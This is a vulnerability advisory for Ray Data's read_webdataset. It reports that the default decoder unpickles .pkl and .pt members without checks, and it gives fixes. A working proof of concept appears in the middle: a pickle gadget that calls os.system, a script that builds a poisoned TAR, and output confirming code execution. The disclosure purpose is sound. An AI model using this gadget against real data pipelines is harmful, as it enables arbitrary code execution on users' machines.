Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Summary

ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha") reader for WebDataset-format TAR files. Its default decoder=True invokes _default_decoder on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation:

• .pickle / .pkl -> pickle.loads(value)
• .pt / .pth -> torch.load(io.BytesIO(value), weights_only=False)

Both fire during a standard ray.data.read_webdataset(...).take_all() / .iter_batches() call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to read_webdataset) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed.

This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The WebDataset path is a different code site and was not touched.

Vulnerable code (HEAD a157d4d)

python/ray/data/_internal/datasource/webdataset_datasource.py lines 175-225, the _default_decoder function:

def _default_decoder(sample, format=True):
    sample = dict(sample)
    for key, value in sample.items():
        extension = key.split(".")[-1]
        ...
        elif extension in ["pt", "pth"]:
            import torch
            # PyTorch 2.6 changed torch.load default weights_only=True, which
            # breaks loading general Python objects previously serialized for
            # WebDataset .pt payloads.
            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219
        elif extension in ["pickle", "pkl"]:
            import pickle
            sample[key] = pickle.loads(value)                                 # line 223
    return sample

The comment for the .pt/.pth branch is itself a security smell: it documents that the maintainer chose weights_only=False to override PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed.

Reachability and default-on confirmation

python/ray/data/read_api.py:2289 defines read_webdataset with default decoder=True:

@PublicAPI(stability="alpha")
def read_webdataset(
    paths,
    *,
    ...
    decoder: Optional[Union[bool, str, callable, list]] = True,
    ...
) -> Dataset:
    ...
    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)

WebDatasetDatasource._read_stream (line 367) calls the decoder unconditionally when not None:

for sample in samples:
    if self.decoder is not None:
        sample = _apply_list(self.decoder, sample, default=_default_decoder)

True is not None evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass decoder=None (or a custom safe decoder). The documentation does not warn about the behavior.

End-to-end reproduction

Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):

import io, os, pickle, subprocess, tarfile, tempfile, sys

MARKER = "/tmp/ray_webdataset_poc_rce_marker"

class Gadget:
    def __reduce__(self):
        cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
               f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
        return (os.system, (cmd,))

with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
    tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
    for name, body in (("000000.txt", b"hello"),
                       ("000000.pkl", pickle.dumps(Gadget()))):
        ti = tarfile.TarInfo(name=name); ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())

Output:

ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
    RCE via ray.data.read_webdataset
    pid=248816
    user=xyz

The .pt/.pth variant is the exact same primitive against the torch.load(io.BytesIO(value), weights_only=False) branch; replace the TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.

Real-world delivery vectors

• paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised.
• paths=["https://attacker/model.tar"] -- HTTP-served WebDataset.
• HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via datasets and feed them to Ray Data.
• Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.

Why GHSA-mw35 doesn't cover this

GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback by gating cloudpickle.loads behind RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use pickle.loads and torch.load(weights_only=False) (not cloudpickle.loads).

Suggested patch

Two minimal options, both Ray-internal:

1. Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the .pt/.pth and .pkl/.pickle branches with a guard:

   python

   import os
   _ALLOW_UNSAFE = os.environ.get(
       "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0"
   ) == "1"
   
   elif extension in ["pt", "pth"]:
       if not _ALLOW_UNSAFE:
           raise ValueError(
               f"Refusing to load .pt/.pth member {key!r} from WebDataset "
               f"with weights_only=False. Set "
               f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted "
               f"sources."
           )
       sample[key] = torch.load(io.BytesIO(value), weights_only=False)
   
   elif extension in ["pickle", "pkl"]:
       if not _ALLOW_UNSAFE:
           raise ValueError(
               f"Refusing to unpickle WebDataset member {key!r} -- "
               f"untrusted pickle is RCE. Provide your own decoder "
               f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for "
               f"trusted sources."
           )
       sample[key] = pickle.loads(value)

2. Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.

Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling ray.data.read_webdataset on an untrusted TAR is equivalent to running attacker code.

References

• Source: python/ray/data/_internal/datasource/webdataset_datasource.py:175-225
• Public API: python/ray/data/read_api.py:2287-2370 (read_webdataset)
• Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0)
• Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder.
• WebDataset format: https://github.com/webdataset/webdataset